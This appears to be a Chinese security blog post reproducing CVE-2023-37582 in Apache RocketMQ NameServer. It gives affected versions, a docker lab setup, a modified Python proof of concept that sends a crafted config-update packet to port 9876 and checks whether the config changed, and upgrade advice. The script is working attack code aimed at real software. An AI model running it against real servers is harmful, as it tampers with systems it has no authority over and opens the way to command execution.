【漏洞复现】Apache RocketMQ 代码注入漏洞（CVE-2023-37582）

产品介绍

Apache RocketMQ是美国阿帕奇（Apache）基金会的一款轻量级的数据处理平台和消息传递引擎。

漏洞概述

Apache RocketMQ 存在代码注入漏洞，该漏洞源于当 NameServer 地址在外网泄露且缺乏权限验证时，NameServer 组件仍然存在远程命令执行漏洞，在 RocketMQ 5.1.0 及以下版本，在一定条件下，存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外，攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

RocketMQ < 4.9.7

RocketMQ < 5.1.2

复现环境

docker pull apache/rocketmq:4.9.4
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

漏洞复现

POC：

 1 import random
 2 import socket
 3 import binascii
 4
 5 class poc:
 6     def __init__(self, url):
 7         self.url = url
 8         self.result_text = ""
 9         self.port = 9876
10
11     def exploit(self, address):
12         try:
13             client_socket = socket.socket()
14             client_socket.settimeout(5)  # Set socket timeout to 5 seconds
15             client_socket.connect((address, self.port))
16
17             header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
18             body = 'configStorePath=/tmp/test\nproductEnvName=test'+ str(random.randint(1, 10))
19
20             header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
21             header_length_hex = '00000000' + str(hex(header_length))[2:]
22             total_length = int(4 + len(binascii.hexlify(body.encode('utf-8')).decode('utf-8')) / 2 + header_length)
23             total_length_hex = '00000000' + str(hex(total_length))[2:]
24             data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') + binascii.hexlify(body.encode('utf-8')).decode('utf-8')
25
26             client_socket.send(bytes.fromhex(data))
27             client_socket.recv(1024)
28
29             client_socket.close()
30         except socket.timeout:
31             return False
32
33     def get_namesrv_config(self, address):
34         try:
35             client_socket = socket.socket()
36             client_socket.settimeout(5)
37             client_socket.connect((address, self.port))
38
39             header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
40
41             header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
42             header_length_hex = '00000000' + str(hex(header_length))[2:]
43             total_length = int(4 + header_length)
44             total_length_hex = '00000000' + str(hex(total_length))[2:]
45             data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')
46
47             client_socket.send(bytes.fromhex(data))
48             data_received = client_socket.recv(1024)
49
50             client_socket.close()
51             return data_received
52         except socket.timeout:
53             return False
54
55     def main(self):
56         ip = self.url
57         result1 = self.get_namesrv_config(ip)
58         self.exploit(ip)
59         result2 = self.get_namesrv_config(ip)
60         if result2 != result1:
61             print("漏洞存在")
62         else:
63             print("漏洞不存在")
64
65 if __name__ == '__main__':
66     ip = "127.0.0.1"
67     poc(ip).main()

在github上找到了poc，我对它做了一些修改，源poc --> 点击此处跳转。

增加了判断条件，根据与源文件内容进行比较判断是否注入成功。

运行上述poc后，效果如下：

入库漏扫：

修复方式

升级Apache RocketMQ到5.1.2或者4.9.7安全版本

参考链接

https://github.com/apache/rocketmq/pull/6843

https://lists.apache.org/thread/m614czxtpvlztd7mfgcs2xcsg36rdbnc